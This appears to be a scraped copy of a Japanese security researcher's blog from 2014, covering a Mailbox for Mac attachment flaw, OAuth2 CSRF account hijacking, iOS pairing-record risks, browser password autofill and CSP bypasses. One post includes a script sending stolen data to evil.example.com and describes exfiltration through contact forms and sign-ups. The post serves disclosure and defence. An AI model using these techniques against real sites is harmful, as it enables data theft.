金利0無利息キャッシング – キャッシングできます

2014-09-04

Mailbox for Macで添付ファイル経由でローカルファイルを盗み出せる問題を報告した

00:01 | Mailbox for Macで添付ファイル経由でローカルファイルを盗み出せる問題を報告した - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - Mailbox for Macで添付ファイル経由でローカルファイルを盗み出せる問題を報告した - 金利0無利息キャッシング – キャッシングできます

Dropboxの開発してるメールクライアントのMailboxのMacbeta版の脆弱性を報告しました。

iOS版にあった問題

過去にiOS用のMailboxで、HTMLメール内のJavaScriptが実行可能という問題があり

その時にはサーバー側のフィルタの抜け穴があったのを見つけて、HTMLメール内のJavaScriptからメールのデータベースファイルにアクセスして受信したメール全部ぶっこ抜くことが可能だという実証コードを送りつけました。その結果、Dropboxの容量が100GB増えた。

Mac版にあった問題

添付ファイルに com.apple.quarantine という拡張属性が付いていないという問題があり、悪意のある添付ファイルを開く(ワンクリックで確認なしで開く状態でした)ことによって危険なことが起きうる状態でした。

特にSafariを標準ブラウザにしている場合、確認なしでHTMLファイルを開かれることは非常に危険です。HTMLファイルからローカルファイルを読み出すことが出来ます。

Safariの現状の挙動は com.apple.quarantine がついていればGoogle Chrome相当の制限されたsame originを持つというものですが、com.apple.quarantineが付いていなければ、依然としてローカルファイルを読み放題というものです。Safariを標準ブラウザとして使っている場合、HTMLファイルを開いて安全かどうかは、ネット上からHTMLファイルを受信する性質のあるアプリケーションcom.apple.quarantine 属性を付けてくれるかどうかに依存します。(他のブラウザでもローカルのユーザー名がバレる程度のことは起きます)

いつもはssh秘密鍵を盗むものをPoCとして使っているのですが、Firefoxパスワードを盗み出すものを書いてみました。

まとめ

全てのアプリcom.apple.quarantine 付けてくれるの期待できないからSafari使うのやめろ

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140904

2014-07-24

OAuth2.0で強制連携させるCSRFの影響と、その対策について

22:53 | OAuth2.0で強制連携させるCSRFの影響と、その対策について - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - OAuth2.0で強制連携させるCSRFの影響と、その対策について - 金利0無利息キャッシング – キャッシングできます

OAuth2.0で強制連携させるCSRFについて、いまいち周知が十分でない気がするので解説します。簡単に言うと、複数のid providerによるログインをサポートしているのであれば「CSRFによる外部アカウント強制連携」は、アカウントハイジャックが可能な脆弱性だと考えなくてはいけない、ということです。

このへんの話

対策はstateパラメータを使うことです。OAuth2.0にはstateパラメータというのがあるのですが推奨になっているだけで必須ではありません。

OAuthを3rd partyログインの為に用いている場合, クライアント上の被害者アカウントが外部Identity Provider上の攻撃者アカウントと紐づけられてしまい, 攻撃者が別デバイス上で被害者としてクライアントログインできるようになってしまう, といったケースも考えられる.

典型的に問題になるのは「複数のid providerと連携可能」で「そのいずれかでもログイン出来る」ようなサービスです。元々メールアドレスパスワードを使ったユーザー登録があって、追加でFacebookアカウントを登録するとFacebookログインも出来るようになる、というようなものも含みます。認証/認可完了のcallback URLをターゲットに踏ませることで、ターゲットのアカウントに、攻撃者の用意した外部id provider(Facebookとかgithubとか)のアカウントを強制的に連携させ、攻撃者は自分のidを使ってターゲットのアカウントログイン出来るようになります。

ログイン機能のCSRFは「対策されていない」ことも多いかと思います。ユーザーが「ようこそ◯◯さん」といった表示を見て気付くこともありますし、実際に被害が発生するためには、攻撃者のアカウントログインしたまま個人情報を入力してしまったり、性癖がバレる投稿をしてしまったりする必要があります。なのでCSRFログインが出来たとしても、クリティカル脆弱性だとは見なされないことも多いのではないでしょうか。

単一の外部のid providerでログイン出来るだけなら、CSRFログインできることによる影響は、通常のCSRFログイン出来る状態と同等です。CSRFは「勝手に出来る操作」の影響がどの程度大きいかで、深刻度が変わります。単にイタズラ投稿ができるようなものもあれば、公開範囲変更(秘密情報流出)や、アカウントハイジャックに繋がるものもあります。

OAuth2.0のstateパラメータはあくまでオプショナルですし、ログイン用途に使うかどうかはサービス次第なので、ライブラリ側では配慮されていない可能性があるでしょう。

ちなみにOpenID2.0の場合も、stateless modeというid providerのサーバー署名検証を丸投げするモードというのがあり

これが有効になっている場合も、CSRFによるログインが可能になりますが、みんなOpenID2.0のことは覚えてないと思うので、詳細については省略します。

iOSにバックドアがあるとされた問題について

17:37 | iOSにバックドアがあるとされた問題について - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - iOSにバックドアがあるとされた問題について - 金利0無利息キャッシング – キャッシングできます

なんか話題になっている

について。このスライドは、この筆者のブログ記事で書かれてることのまとめなので、それぞれ詳細に書かれた記事を読めばいい。

具体的には

が分かりやすかった。

バックアップ暗号化迂回されちゃうという話

暗号化というのは、デバイスが物理的に盗まれても被害を軽減したり、なくしたり、時間稼ぎ出来るようにするわけで、

であるところ、

普段バックアップ暗号化してても意味がなくて、全データ非常に多くのセンシティブなデータアクセスすることが出来ちゃうよ、という話。携帯電話ノートパソコン入ったカバン丸ごと紛失 or 盗まれるとかだと割と現実的な気がしますね。(「全データ」を訂正、追記を参照)

あとはエンタープライズMDM(mobile device management)のために怖い機能が入ってるので、もし初期設定時にNSAによって iprofiles.apple.com がMITMされてたら(https使われてるのでAppleの証明書偽造が必要)色んなことがやりたい放題だ、とか、そういう危険があるので一般ユーザー向けと企業向けでファームウェア分けたほうがいいんじゃねーのかとかそんなことが書いてある。

http://www.zdziarski.com/blog/?p=2589 では、/var/db/lockdown を保護したほうが良いと書いてあり、Apple Configuratorを使ってペアリング可能なパソコンを制限する方法を紹介している。

自分(mala)は、/var/db/lockdown をコピーしただけですんなり動くのかどうか(まだ)検証してないが、多分出来るのだろう。この「ペアリングレコード」が例えばキーチェーンで保護されていれば、キーチェーンパスワード(通常OSログインパスワードと同じ)が分からなければパソコンセットで盗まれても大丈夫、ということになるけど多分そうなってないはず、iPhoneの中身読み取るようなツールでキーチェーンアクセス聞かれないので。

→ 検証した https://twitter.com/bulkneets/status/492246872837214210 完全に初期化してから行ったわけではないので不完全であるけれど信頼済みコンピューターから /var/db/lockdown/* を持ってくれば(まあ他に何か必要なファイルがあったとしても信頼済みコンピュータになりすますことが出来れば) iOSデバイスからは信頼済みコンピューターとして認識される。

フルディスク暗号化してる人は /var/db/lockdown も当然保護されるので気にする必要ない。

バックドアとしても使えるサービスの話

信頼済みコンピューターが乗っ取られてしまって、かつ、WiFi同期を有効にしていた場合は、診断ツールを使ってリモートからiOSデバイス内の情報を抜き出される可能性がある。このことは、この発表を受けて公開されたAppleの技術情報にも書かれている。

http://support.apple.com/kb/HT6331 "For users who have enabled iTunes Wi-Fi Sync on a trusted computer, these services may also be accessed wirelessly by that computer."

スライド書いた人は、ホントに診断とかデバッグ用かよ、デベロッパモードでのみ使えるようにしたり、動いてるのかどうか分かるようにしろよ、と言ってる。

まとめ

一般ユーザー向けには

企業が管理しているiOSデバイスや、意識高いユーザー向けには

  • Apple Configulatorを使って信頼済みコンピューターを制限したほうがいい
  • フルディスク暗号化すれば /var/db/lockdown を保護できるのでそうすると良い

報道機関向けには、お前が煽りタイトル付けたのが悪いんだろって感じもするけど

"As I've stated before, DON'T PANIC. I have never suggested this was a conspiracy. As usual, the media has completely derailed the intention of my talk." と言っている。

追記 2014-07-25

「全データ」は読めないようなので補足

バックアップの設定はiOSデバイス側に保存され、暗号バックアップを選択している人は、別の信頼されたコンピューターから新規バックアップを取っても、同じパスワード暗号化された状態で取得される http://support.apple.com/kb/ht4946?viewlocale=ja_JP

暗号バックアップパスワードを知らずに、暗号バックアップの設定を強制的に上書きしたり、keychainに保存されたデータやアプリが明示的に指定した暗号化を解除(あるいは別デバイスに復元)する方法は分からなかった。

バックアップ暗号化しない → バックアップ暗号化(新規バックアップパスワード設定) と設定変更する際には、iOSデバイス側でパスコードを尋ねられることはなかった(バックアップ暗号化していない+ペアリングレコードとセットでiPhoneを盗難された場合、別デバイスに復元可能な形式で、暗号化されたデータも含めて持ち出される可能性がある)

なので、ユーザーがバックアップ暗号化していて、アプリ開発者が推奨される慣習にしたがっていれば(特に秘匿されるべきデータについてkeychainを使ったり明示的に暗号化していれば)、ペアリングレコードが盗まれたとしても明示的に暗号化されたデータに関しては読み取ることが出来ないだろう(解読できるかどうかはバックアップ暗号化に指定したパスワードの強度に依存する)。で、その場合でも、暗号化されていないファイルは良くあるiPhoneのディスクをマウントするようなユーティリティで読むことが出来るし、pcapdを駆使してkeychainに保存されている情報と同等のデータをキャプチャすることが出来るかも知れないし、file_relayで持ち出すことが可能なファイルにはセンシティブな情報が多く含まれているので、暗号バックアップを選択していても、ペアリングレコードとセットでiPhoneを盗まれたりWiFi同期が有効になっている信頼されたコンピューターがハッキングされたりすれば、十分なリスクがあるということになる。Zdziarskiさんは、com.apple.mobile.file_relay について "Completely bypasses Apple’s backup encryption for end-user security" と書いている。

そもそもiOSデバイス暗号化には、ざっくりいうと二種類あって、

ペアリングレコードを取得出来れば、1の透過的な暗号化を迂回して殆どのファイルを容易に読み取ることが出来る。ただしこれらのデータは、ペアリングレコードがなくても、容易ではない方法で読み取ることが元々出来るだろう。

1の暗号化で使われている暗号鍵は結局のところデバイスに内蔵されているので、

原理的には誰でも解読することが出来る。Apple司法要請に応じてパスコードロックされている状態のiOSデバイスから「パスコードで暗号化されていない」データの抽出に応じている https://www.apple.com/legal/more-resources/law-enforcement/

2による暗号化は、パスコードが分からなければ、Appleだろうと復号できない(のが正しい実装)。長いパスコードや英数字のパスワードを使うような設定にしていれば、ブルートフォースアタックをかけても現実的な時間での解読が不可能になる。

(筆者は信頼済みコンピューターに提供されるEscrow Keybagの権限で何が出来るのかを完全に把握しているわけではないので、keychainや明示的に暗号化されたデータが安全であると保証するわけではありません)

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140724

2014-07-08

パスワード保存と自動フィルインは違うという話

00:48 | パスワード保存と自動フィルインは違うという話 - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - パスワード保存と自動フィルインは違うという話 - 金利0無利息キャッシング – キャッシングできます

何か input type="password"のautocomplete="off"をメジャーなブラウザが全て無視するようになったという話があるのですが


実のところブラウザごとに細かい挙動が違います http://gyazo.com/e06c6d63521249f7a99a2a7c075ca33b

何でこうなったのかはこの辺読むと書いてあります。

SafariFirefoxはautocomplete="off"かどうかで、自動フィルインするかどうかを変えています。元々ユーザー操作があるまでフィルインしないというポリシーのIEOpera、現状autocomplete="off"だろうが自動フィルインするChromeは完全無視ということになります。

2014-07-16追記: Safariはautocomplete=offかどうかで自動フィルイン切り替えではなく、最初のフォームかどうかで切り替えでした 参考: http://developer.cybozu.co.jp/tech/?p=7452


autocomplete="off"にしてるのにフィルインされて困るんだよ、って言ってる人がいるので将来の挙動は変わるかもしれません。パスワード変更フォームの片方に自動入力されちゃうよくあるやつですね。

話は変わりますが、最近のGoogle Chromeにはパスワード保存したドメインの兄弟ドメインに対しても、自動補完を有効にするという機能が付いています。

この機能は、example.com に対してパスワードを保存したら、mobile.example.com に対しても同様のパスワードを保管して欲しいだろうという仮定のもとに成り立っているわけですが、サブドメインに信用出来ないコンテンツをホスティングするようなサービスの場合、手の込んだクリックジャッキングによってパスワードを盗むことが出来るので注意する必要があります。

手の込んだクリックジャッキングというのはこういうやつです

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140708

2014-06-12

同一originにあるフォームを利用してCSPバイパスっぽいことをする話

16:38 | 同一originにあるフォームを利用してCSPバイパスっぽいことをする話 - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - 同一originにあるフォームを利用してCSPバイパスっぽいことをする話 - 金利0無利息キャッシング – キャッシングできます

Content Security Policyが適用されているWebアプリXSSがあって、任意scriptタグを挿入することが出来る状況下で、盗み出したいデータを攻撃者の保持するドメインに送信しようとする場合。

(inline-scriptを完全に禁止すると移行が大変なので、unsafe-inlineが許可されている想定。実際そういうサイトが多い)

画面遷移なしでユーザーに気付かれないように、こっそりデータを持ち出そうとするには通常こういうことをする。

<script>
new Image().src = "http://evil.example.com/?" + base64_encode(data);
// あるいは
var xhr = new XMLHttpRequest;
xhr.open("POST", "http://evil.example.com", true);
xhr.send(data);
</script>

これをやると、CSPによってimgやiframeやXMLHttpRequestの接続先が制限されているためブロックされることになる。XSSによって任意コード埋め込めたとしても「外部サイトにデータを送ることが出来ない」ので影響が軽減される、と見せかけて実はそうでもなかったりする。

ケース1: お問い合わせフォーム

あなたのメールアドレス[__________] 
お問い合わせ[__________]

といったお問い合わせフォームがあったとする。こういうフォームに送信すると大抵の場合、

このメールは自動返信です、後で人間が返事をします、チケットIDは#xxxxxxです。

問い合わせ内容

....

といった内容が、入力したメールアドレスに対して自動で送信される。問い合わせ内容のところに盗み出したいデータを入れておくことで、攻撃者のメールアドレスにデータを送信して持ち出すことが出来る。

この方法はLastPassがCSPに対応したときに(まだXSSが残ってたので) 実際に攻撃方法として提示したことがある。

http://blog.lastpass.com/2011/03/content-security-policy-csp-implemented.html

ケース2: 投稿機能やメッセージ機能

Twitterみたいなサイトだったら、盗み出したデータをターゲットのアカウントで書きこんでしまったり、攻撃者のアカウントに対してメッセージ機能を使って送りつけてやればいい。

ケース3: サインアップ

"何らかのエンコード(持ち出したいデータ)@evil.example.com" というメールアドレスを使ってユーザー登録機能を呼び出す。

まとめ

CSPが導入されていて、読み込めるリソースが限られている場合でも「攻撃者から結果が観測可能になる何らかの機能が同一originに存在していれば」ユーザーに気付きにくい方法でデータを持ち出すことが出来るだろう。まあそれはそれで運営者側にバレる可能性が高いので完全に「こっそり」というわけでもないけれど。

当然にこういった注意書きは書かれているのだけど https://developer.mozilla.org/ja/docs/Security/CSP/CSP_policy_directives

注記: 'unsafe-inline' および 'unsafe-eval' はどちらも安全ではなく、サイトでクロスサイトスクリプティング脆弱性が発生するかもしれません。

実際問題、対応するのが大変なのでunsafe-inlineやunsafe-evalが指定されていることが多い。CSPがXSS対策最終兵器として機能するのはunsafe-inlineやunsafe-evalが完全禁止のマゾい設定で運用した場合の話で、単に読み込みリソース制限しただけでは、XSSによる被害が発生しうる状態に変わりがないことに注意する必要がある。

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140612

2014-04-04

最近の発表しました

19:03 | 最近の発表しました - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - 最近の発表しました - 金利0無利息キャッシング – キャッシングできます

AVTokyo2013.5

Flash based XSSの具体的な事例について、皆さんがよく知っている身近なサイトを例にあげて解説しました。

資料

具体的なサイト名については伏せてあります。なお、完全に個人の活動であり、所属している組織の業務とは一切関係がありませんし、職場でアダルトサイトは閲覧していません。

OWASP AppSec APAC 2014

はせがわさんからお誘いがあって、XSS Allstars from Japanという枠で発表しました。「みんなkinugawamasatoを見に来るんで、僕らは前座なんで、まあ気軽にゆるい感じで」とネタが被らないように打ち合わせだけして皆好きなことを喋るといったコーナーでした。

スライドはこのへんから見れるっぽいです

肉はこちらから見れます。


発表時間に間に合うように家を出たのですが、道に迷ってしまってかなりギリギリでの到着となりご心配をおかけしました。また、スライドの提出も遅れましてスタッフの方々にもご心配をおかけしましたが、こちらについてはTAKESAKOさんのほうがギリギリだったそうです。

補足

self XSSまで含めると直っていない事例が結構あると思います。self XSSをどの程度の脅威と見なすのかは場合によりけりなのですが、例えば攻撃コードをブログパーツやビデオの埋め込みコード風にして「HTML編集モードでコピペしてください」といった風に誘導すれば、怪しまれずに引っかかる人が多いんじゃないかと思います。

それから質疑応答で出たのですが「そもそもHTML制限せずに自由に書かせる要件がある場合にはどうすればよいのか?」というのがありました。これはブログサービスやCMSなどで、デザインやテンプレートを高度にカスタマイズしたり、scriptを自由に書かせたいようなケースはあると思います。そういった場合にはドメインを分けると良いです。パスワードを入力してログインしたり、管理画面が表示されるドメインと、ユーザーが自由にHTMLを書くことが出来るドメインは、そもそも分けてしまいましょう。ドメインcookieのポリシーを最初に間違えると後から変更するのが面倒くさくなるので注意が必要です。

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140404